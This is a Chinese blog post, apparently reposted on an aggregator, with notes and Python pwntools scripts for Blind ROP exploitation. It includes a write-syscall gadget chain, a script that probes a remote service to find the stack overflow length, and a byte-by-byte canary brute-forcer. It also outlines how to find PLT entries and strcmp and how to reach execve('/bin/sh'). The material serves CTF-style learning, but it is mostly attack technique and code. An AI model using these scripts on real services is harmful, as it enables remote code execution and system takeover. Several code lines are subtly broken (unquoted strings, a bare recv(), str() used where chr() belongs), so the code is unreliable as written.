BROP_轮子

Posted 0xhack

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BROP_轮子相关的知识,希望对你有一定的参考价值。

执行Write()函数

pop rdi; ret # socket    ##find from __libc_csu_init 
pop rsi; ret # buffer    ##find from __libc_csu_init
pop rdx; ret # length    ##find from strcmp()!!!!
pop rax; ret # write syscall number
syscall
但通常来说,这样的方法都是比较困难的,因为想要找到一个 syscall 的地址基本不可能。。。我们可以通过转换为找 write 的方式来获取。

判断栈溢出长度

def leakbuff_length():
    i=1
    while 1:
        try:
            p=remote(0.0.0.0,9999)
            p.recvuntil(password?\\n)
            p.sendline(A*i)
            msg=p.recv()
            p.close()
            if password in msg:
                i = i+1
                continue
        except EOFError:
            p.close()
            print i-1
            break

单字节爆破Canary

def boomcanary():
    step=1
    buf=A*72
    canary_sing=0x00
    while 1:
        try:
            p=remote(0.0.0.0,9999)
            p.recvuntil(password?\\n)
            p.sendline(buf+chr(canary_sing))
            msg=recv()
            p.close()
            if step == 4:
                break
            else:
                buf=buf+str(canary_sing)
                canary_sing=0x00
                step=step+1
        except EOFError:
            p.close()
            canary_sing=canary_sing+1

BROP gadgets

寻找libc_csu_init的结尾一长串的 gadgets

技术图片

寻找 PLT

每一个 plt 表项都是 16 字节,对于大多数 plt 调用来说,一般都不容易崩溃,即使是使用了比较奇怪的参数。

如果我们发现了一系列的长度为 16 的没有使得程序崩溃的代码段,那么我们有一定的理由相信我们遇到了 plt 表。除此之外,我们还可以通过前后偏移 6 字节,来判断我们是处于 plt 表项中间还是说处于开头。

注::::找CMP函数方法:1.plt遍历    2.利用 plt 表项的慢路径,并且利用下一个表项的慢路径的地址来覆盖返回地址。!!!

控制RDX

:在没有 PIE 保护的时候,64 位程序的 ELF 文件的 0x400000 处有 7 个非零字节。

  • readable,可读的地址。
  • bad, 非法地址,不可访问,比如说 0x0。

那么我们如果控制传递的参数为这两种地址的组合,会出现以下四种情况

  • strcmp(bad,bad)
  • strcmp(bad,readable)
  • strcmp(readable,bad)
  • strcmp(readable,readable)

只有最后一种格式,程序才会正常执行。

 

寻找输出函数:write/puts 

Finaly-to get sh

  • 将 socket 输出重定向到输入输出
  • 寻找 “/bin/sh” 的地址。一般来说,最好是找到一块可写的内存,利用 write 函数将这个字符串写到相应的地址。
  • 执行 execve 获取 shell,获取 execve 不一定在 plt 表中,此时攻击者就需要想办法执行系统调用了。

以上是关于BROP_轮子的主要内容,如果未能解决你的问题,请参考以下文章

重复造轮子系列:分布式rpc框架设计_00

重复造轮子系列--dijkstra算法

js中的轮子函数

快速开发一个npm包(轮子)

为什么不要自己乱造轮子:std::sort方法的实现

使用flex弹性造APP首页轮子前端Flex弹性布局